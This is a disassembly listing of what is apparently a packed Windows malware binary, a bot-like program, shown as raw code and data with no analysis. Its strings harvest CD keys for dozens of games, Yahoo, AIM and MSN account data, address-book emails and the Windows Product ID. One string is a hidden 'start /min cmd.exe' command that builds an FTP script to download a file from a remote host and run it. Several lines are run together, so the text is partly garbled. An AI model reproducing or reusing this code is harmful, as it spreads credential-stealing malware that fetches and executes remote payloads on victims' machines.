aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00434FBAo
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00434F7Eo
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
		align 4
		dd 0
dword_44693C	dd 3A6D6961h, 732520h, 0dword_446948	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434E82o
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A7C	dd 3A6E736Dh, 732520h, 0dword_446A88	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00435447o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4356F0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4356F0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4356F0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4356F0+3BBo
		align 4


loc_446BB4:				; DATA XREF: sub_4356F0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446BBF:				; DATA XREF: sub_4356F0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BCB:				; DATA XREF: sub_4356F0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BD7:				; DATA XREF: ___:00435EB6o
					; ___:00436110o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BE8:				; CODE XREF: ___:00446BEDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BE8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043633Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CE0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F70	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F74	dd 0							; sub_4245F0+11o ...
dword_446F78	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D3DFr ...
		align 10h
dword_446F80	dd 0							; ___:0040D345w ...
		dd 8 dup(0)
dword_446FA4	dd 41h dup(0)						; ___:0040D380o ...
dword_4470A8	dd 0							; ___:loc_40D3D4r ...
dword_4470AC	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D34Fr ...
dword_4470B0	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D580+CAw
dword_4470B4	dd 0							; sub_40D580+E3r
		dd 11h dup(0)
dword_4470FC	dd 0							; sub_40FF60+47Dr
dword_447100	dd 0							; sub_40FF60+515r ...
dword_447104	dd 0							; sub_40FF60+655r ...
dword_447108	dd 0							; sub_40FF60+B79r ...
dword_44710C	dd 0							; sub_40FF60+74Br
dword_447110	dd 0							; sub_40FF60+828r
dword_447114	dd 0							; sub_40FF60+77Cr
dword_447118	dd 0							; sub_40FF60+4DDr ...
dword_44711C	dd 0							; sub_40FF60+311r
dword_447120	dd 0							; sub_40FF60+34Dr ...
dword_447124	dd 0							; sub_40FF60+33Dr
dword_447128	dd 0							; sub_40FF60+3D2r
dword_44712C	dd 0							; sub_40FF60+E93r
dword_447130	dd 0							; sub_40FF60+1220r ...
dword_447134	dd 0							; sub_411FE0+4DAr
dword_447138	dd 0							; sub_40FF60+683r
dword_44713C	dd 0							; sub_40FF60+6B5r
dword_447140	dd 0							; sub_40FF60+1252r
		dd 5 dup(0)
dword_447158	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44719A	db 0			; DATA XREF: sub_409A30r sub_409AA0r
		align 4
		db 3 dup(0)
byte_44719F	db 0			; DATA XREF: sub_40D580+10Fr
		db 0
byte_4471A1	db 0			; DATA XREF: sub_40DB10r
word_4471A2	dw 0			; DATA XREF: sub_40DB10+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_4472B7	db 0			; DATA XREF: ___:00412ECAo
					; ___:00412F7Fo ...
		db 3 dup(0)
byte_4472BB	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_4472C0	dd 12h dup(0)						; sub_40FF60+114o
		db 0
byte_447309	db 3 dup(0)		; DATA XREF: ___:00408ADEo
					; sub_40FF60+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447352	dw 0			; DATA XREF: ___:00408AB5o
					; sub_40FF60+132o
		dd 6 dup(0)
word_44736C	dw 0			; DATA XREF: sub_40FF60+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44739B	db 0			; DATA XREF: ___:00408B07o
					; sub_40FF60+17Co ...
		dd 12h dup(0)
dword_4473E4	dd 12h dup(0)						; sub_40FF60+F7o ...
		db 0
byte_44742D	db 3 dup(0)		; DATA XREF: ___:00408A40o
					; sub_40FF60+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_4474BF	db 0			; DATA XREF: ___:00408B30o
					; sub_40FF60+19Ao
		dd 24h dup(0)
		db 0
byte_447551	db 3 dup(0)		; DATA XREF: sub_425020+2Bo
					; sub_425020+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44759A	dw 0			; DATA XREF: ___:00412E9Ao
					; ___:00412EB9o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44768F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447769	db 0			; DATA XREF: sub_41B950+18r
		align 4
		dd 36h dup(0)
byte_447844	db 0			; DATA XREF: sub_40FF60+842r
		align 4
		dd 0Bh dup(0)
dword_447874	dd 18h dup(0)						; sub_40ED70+97o ...
		db 2 dup(0)
byte_4478D6	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D830+671r
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_44791F	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D830:loc_41DEB9r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44794F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D830+692o ...
		dd 12h dup(0)
dword_447998	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_447A44	dd 0				dd 11h dup(0)
		db 0
dword_447A8D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DF8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C9E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448CA2	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448D16	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448DB0	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448FCB	db 0			; DATA XREF: sub_425640+3Bw
					; sub_4256B0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_4491CB	dd 0							; sub_4256B0+4Fw ...
dword_4491CF	dd 0							; ___:004240BDw ...
dword_4491D3	dd 0							; sub_4256B0+5Dr ...
dword_4491D7	dd 0							; sub_4256B0+8Cr ...
dword_4491DB	dd 0							; sub_4256B0+9Dr
dword_4491DF	dd 0							; ___:004240F1r ...
byte_4491E3	db 0			; DATA XREF: sub_425640+42w
					; sub_4256B0+85w
		dd 3018h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F40o
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 1147h dup(0)			db 2 dup(0)
word_49457A	dw 0			; DATA XREF: Themida_:005A46FBo
					; Themida_:005A470Bo
dword_49457C	dd 9F5Bh dup(0)
		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
dword_4BC2EC	dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44433Co
		dd 6DEh	dup(0)
		db 3 dup(0)
dword_4D5FCB	dd 0							; sub_4258E0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D60B5	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D60CC	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EEw
dword_4D60CD	dd 0							; sub_422A40:loc_4231C4r ...
		align 4
		dd 0
		db 0
dword_4D60D9	dd 0							; sub_404C20+2Aw
byte_4D60DD	db 3 dup(0)		; DATA XREF: ___:00412EF4o
					; ___:00412F17o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D6107	dd 0							; sub_427AD0:loc_427BC7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D61CB	db 0			; DATA XREF: sub_425870+16o
					; sub_4258A0+19o
		db 3 dup(0)
byte_4D61CF	db 0			; DATA XREF: sub_4257A0+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D638F	db 0			; DATA XREF: ___:004081C6o
					; ___:00408657o ...
		dd 8 dup(0)
dword_4D63B0	dd 0				dd 51h dup(0)
		db 0
byte_4D64F9	db 0			; DATA XREF: sub_426820:loc_4268D0r
					; sub_426CE0:loc_426D95r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6775	dd 0							; sub_426CE0+7Dw ...
		align 4
dword_4D677C	dd 1EDAh dup(0)
		db 0
byte_4DE2E5	db 3 dup(0)		; DATA XREF: ___:00419E93o
					; sub_419F50+13o
dword_4DE2E8	dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5DCF	db 0			; DATA XREF: sub_426A60+1Do
		dd 21h dup(0)
		db 0
byte_4E5E55	db 3 dup(0)		; DATA XREF: ___:00419EA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E672F	db 0			; DATA XREF: sub_426A60+2Fo
		dd 1D5h	dup(0)
byte_4E6E84	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FF60:loc_40FFA2r ...
byte_4E6E85	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+87Ao ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E9A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:0040866Bo ...
		dd 0Fh dup(0)
		db 0
byte_4E6ED9	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E6EDB	db 0			; DATA XREF: sub_418490+21o
					; sub_41D830+341o ...
dword_4E6EDC	dd 751Eh dup(0)
dword_504354	dd 0AC6h dup(0)	dword_506E6C	dd 1000h dup(0)						; ___:00419A9Do ...
dword_50AE6C	dd 333h	dup(0)						; ___:00419AB8o ...
dword_50BB38	dd 0							; sub_41A010+1Br ...
		dd 3 dup(0)
dword_50BB48	dd 0							; ___:0041FB3Dw ...
dword_50BB4C	dd 0							; sub_41FA90+2Aw ...
dword_50BB50	dd 0		dword_50BB54	dd 0							; ___:0041FB5Bw
dword_50BB58	dd 0		dword_50BB5C	dd 0							; ___:0041FB67w ...
dword_50BB60	dd 0							; ___:0041FB6Dw ...
dword_50BB64	dd 0							; ___:00420DA9o
dword_50BB68	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50BB6C	dd 0							; ___:0041FB81w
dword_50BB70	dd 0							; sub_420530+41w ...
dword_50BB74	dd 0							; sub_420530+7Fr
dword_50BB78	dd 0							; sub_420530+92r ...
dword_50BB7C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50BB8C	dd 0							; ___:0041C1A5o
dword_50BB90	dd 0							; sub_423720+5r ...
dword_50BB94	dd 0							; ___:00423EB1r ...
		dd 7CEh	dup(0)
dword_50DAD0	dd 6 dup(0)						; ___:00423DB2o ...
dword_50DAE8	dd 196h	dup(0)						; sub_423660+6Do
dword_50E140	dd 0		word_50E144	dw 0			; DATA XREF: sub_424E90+A9r
		align 4
byte_50E148	db 0			; DATA XREF: sub_4254E0:loc_425540r
					; sub_4254E0+97w
		align 4
dword_50E14C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_426820+D9r
dword_50E150	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_426820+45r
dword_50E154	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_426820+54r ...
		dd 0
dword_50E15C	dd 80h dup(0)						; sub_426A60+129o
dword_50E35C	dd 0		dword_50E360	dd 0				dd 1Dh dup(0)
dword_50E3D8	dd 0							; ___:0042B11Dr ...
dword_50E3DC	dd 0							; sub_42CB10:loc_42CBA6r ...
dword_50E3E0	dd 0		; resolved to->WS2_32.connect					; sub_431280+2Dr ...
dword_50E3E4	dd 0		dword_50E3E8	dd 0							; sub_430270r ...
dword_50E3EC	dd 0		dword_50E3F0	dd 0							; sub_42F6B0+111w ...
dword_50E3F4	dd 0							; sub_42F6B0+F6r ...
dword_50E3F8	dd 0							; ___:loc_4303B0r
dword_50E3FC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_430FE0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Dh	dup(0)
dword_50E900	dd 10h dup(0)						; sub_430180:loc_4301B0o ...
dword_50E940	dd 8 dup(0)						; sub_42F540+25o ...
dword_50E960	dd 8 dup(0)						; sub_430690+25o ...
dword_50E980	dd 8 dup(0)						; sub_431560+84o ...
dword_50E9A0	dd 8 dup(0)						; sub_431560+8Bo ...
dword_50E9C0	dd 9 dup(0)						; sub_42F6B0:loc_42F7C7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 182h dup(0)
		dd 5 dup(2F06C2B1h), 5 dup(44D568C4h), 5 dup(700B6C69h)
		dd 5 dup(51A91ACEh), 5 dup(23E451B2h), 5 dup(53DC040Bh)
		dd 5 dup(62D31A60h), 5 dup(4FECA3FAh), 5 dup(4FD5C522h)
		dd 5 dup(1C07C897h), 5 dup(31EAC45Ah), 1Eh dup(0)
		dd 53DC040Bh, 10h dup(0)
		dd 31EAC45Ah, 58h dup(0)
		dd 51A91ACEh, 1Bh dup(0)
		dd 4FD5C522h, 14h dup(0)
		dd 44D568C4h, 52h dup(0)
		dd 2F06C2B1h, 1Bh dup(0)
		dd 1C07C897h, 0Bh dup(0)
		dd 62D31A60h, 0Ch dup(0)
		dd 23E451B2h, 2Bh dup(0)
		dd 4FECA3FAh, 11h dup(0)
		dd 700B6C69h, 0Ah dup(0)
		dd 2880457h, 2890000h, 28A0000h
dword_50F710	dd 28A1452h			dd 28A1625h
dword_50F718	dd 28A193Fh			dd 28A1C77h, 28B0000h
dword_50F724	dd 28C0000h			dd 28D0000h, 28D038Ch, 28D077Fh, 28D0BEDh
dword_50F738	dd 28E0000h						; sub_40E7A0+25Ar ...
dword_50F73C	dd 28E04F4h	dword_50F740	dd 28E0747h			dd 28E086Ch, 28E0B12h
dword_50F74C	dd 28F0000h						; sub_40ED70+15Er ...
		dd 28F0302h
dword_50F754	dd 2900000h						; sub_40E7A0+22Cr
		dd 2900D00h
dword_50F75C	dd 2910000h						; sub_4207E0+285r ...
		dd 2920000h
dword_50F764	dd 2921084h						; sub_40E7A0+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 26F0000h, 26F0153h, 2700000h, 270066Dh, 2700812h, 2700ACDh
		dd 2700C3Bh, 2710000h, 27106A6h, 2710AEAh, 2710DE4h, 2720000h
		dd 2720691h, 27206EFh, 2720AABh, 2730000h, 27303D7h, 2730825h
		dd 273098Fh, 2730CE6h, 2740000h, 2740531h, 27405D5h, 274087Bh
		dd 2740A07h, 2740C3Ah, 2750000h, 27502A3h, 2750455h, 275059Fh
		dd 275072Fh, 27507D7h
dword_50F858	dd 2760000h	dword_50F85C	dd 27606B3h	dword_50F860	dd 276085Eh			dd 7C901005h, 7C9010EDh, 2760A2Ch
		dd 2760A89h
dword_50F874	dd 2770000h						; sub_420530+FEr
		dd 27706BAh, 2780000h, 278030Ch, 278076Fh, 2790000h, 27A0000h
		dd 27A08E0h, 27B0000h, 27C0000h, 27C07DCh
dword_50F8A0	dd 27D0000h						; sub_420530:loc_42057Cr ...
dword_50F8A4	dd 27D07CDh						; sub_40FF60+47r ...
		db 0CCh
		db 8, 7Dh, 2
		dd 27E0000h, 27E0617h, 27F0000h, 27F113Bh, 2800000h, 2810000h
dword_50F8C4	dd 28113FEh			dd 28115A0h, 28119E3h
dword_50F8D0	dd 2811D0Bh						; sub_41B4B0+2Fr ...
		dd 2820000h
dword_50F8D8	dd 282071Eh						; sub_4203D0+2Er ...
		dd 2820B76h, 2830000h, 2830B0Eh
dword_50F8E8	dd 2840000h			dd 2840212h, 2850000h, 2860000h, 286120Fh, 2861CD4h, 2870000h
		dd 28705FAh, 2870B00h
		dd 2870C97h
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
		dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
		dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
		dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
		dd 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D2C0+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C41B72h
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C2DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41B950+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42DFD0+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CB10+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BC90+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FF60+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419BDAr
		dd 77C29CDDh, 77C293C7h
dword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422A40+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 2880000h
off_50FBF0	dd offset sub_5EDAB2	; DATA XREF: ___:00419EBDr
					; sub_419F50+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425020:loc_4250C9r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A5F0:loc_42A6ABr
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B540+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A5F0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A6D0+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F860+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004216E1r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427AD0+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 4C5h dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 000F9000 (1019904.)
; Section size in file		: 000F9000 (1019904.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 513000h
		dd 8BF0018h, 40C0Fh, 5EA06h, 158172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0057C2CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0057F81B SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0057FA91 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0057FAEC SIZE 00000093 BYTES
; FUNCTION CHUNK AT 0057FBB5 SIZE 00000016 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_513086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_513041
		popa
		jmp	short loc_513076
; ---------------------------------------------------------------------------
a70q		db 'Û-70Q',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_513041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
